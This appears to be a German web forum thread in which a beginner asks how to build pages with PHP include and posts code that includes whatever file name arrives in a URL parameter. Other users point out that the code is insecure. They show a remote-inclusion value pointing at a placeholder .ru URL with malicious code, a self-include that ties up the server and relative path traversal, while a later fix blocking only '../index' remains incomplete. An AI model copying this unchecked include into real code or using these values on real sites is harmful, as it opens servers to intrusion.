• Hi

    Möchte eine Seite kreieren aber da mein alter PC hinüber ist, hab ich mein Tutorial zum Thema PHP Include nicht mehr zur Hand. Vielleicht könnt ihr mir auf die Sprünge helfen. Ich möchte eine Seite machen ohne Frames, halt mit Include. Nun finde ich im Net nur das falsche Zeug. Es ist ja so dass man die Seite praktisch in 3 Teile aufteilt: Header, Inhalt und Footer. Und mit den Links kann man die Inhalt-Seite definieren. So:

    Code
    [url='index.php?show=main']Home[/url]

    Dann öffnet sich die Main.php in der Index.php

    Das ist leider alles was ich noch weiss. Kann mir vielleicht jemand dieses PHP-Incude posten, bzw. mir weiterhelfen?

  • 1.Forensuche, hattmer schon tausendmal

    2.

    Gute Nacht,
    Jojo


  • andere alternative wäre:

    PHP
    <?php
       $section = isset($_GET['section']) ? $_GET['section'] : "index";
    
       switch ($section)
       {
    		case "index"				: include ("index.php");      				     break;
    		case "test"				 : include ("test.php");					break;
        }
    ?>

    hier musst halt jede seite nochmal angeben, während du bei jojo dein seitennamen
    schon übergibst und dann in den dateinamen einbindest...

  • Danke. Habs nun anders gemacht:

    Link:

    Link1


    Inhalt:

    <?php
    $seite = $_GET['seite'];
    if (empty($seite)) { $seite = 'home'; }
    include( $seite.'.php');
    ?>

    Hat sich also erledigt, pls close. :)

  • Zitat von No0ob

    Das ist die unsicherste Variante, die du hättest wählen können


    Inwiefern denn?

    Muss sagen, kenn mich mit PHP nicht wirklich aus aber diese Methode klappt bisher ganz gut unter allen getesteten Browsern.

  • Wenn dein Server includes per URL zulässt, dann kann man z.B. das per Url dranhängen:

    Code
    site=http://www.blablabla.ru/ich_beinhalte_boesen_code


    Oder den Server ein bischen quälen:

    Code
    site=index
  • Ok danke, ich werde dann jojo's Variante nehmen. ;)

    Gruss,
    Deku

    EDIT: Ich verstehe zwar immer noch nicht was an der anderen Variante unsicher sein soll?? Ich meine, WER soll den eine Datei includen können? Außer mir selbst kann das doch niemand sonst machen.

  • aber natürlich kann das jeder, probiers doch einfach mal aus.
    Nimm deinen Code und rufe im Browser was auf in der Form:

    Code
    [url]www.deineDomain.de?seite=index[/url]

    Ein schöner Timeout wird das, und das kann dann natürlich jeder User machen, der deine Seite besucht, denn der kann ja im Browser aufrufen, was er will.

    Gruß,
    Jojo


  • Hmm das Problem hab ich genau durchstudiert. Hier die gute Lösung:

    Da kann man eigentlich nichts Falsches einbinden lassen. Da der Parameter $seite immer im Ordner "daten" sucht. Das heisst bei ner normalen URL würd das File nicht existieren. Und index geht, aber das index wär dann im Ordner "daten" also nicht die Hauptindexseite.

  • Ja aber geht nicht, denn PHP setzt doch ein:

    daten/../index

    nicht?


    edit: S*** geht nicht.

    Aber so? (noch hinzu)

    Code
    if($seite == "../index") echo "NOT ALLOWED!";
    elseif(file_exists($file)) include $file;
    else( echo "error");
  • Du verstehst das Problem nicht!
    Man kann relative Pfade übergeben, und somit in Bereiche deines Webspaces vordringen, die nicht für Besucher gedacht sind.
    Du musst $_GET auf diese relativen Pfadangaben prüfen, dass wollte ich dir damit sagen.

    Gruß,
    Jojo


  • Ja ok aber deine Beispiele gehen bei mir nicht mehr. Hab das jetzt so gelöst: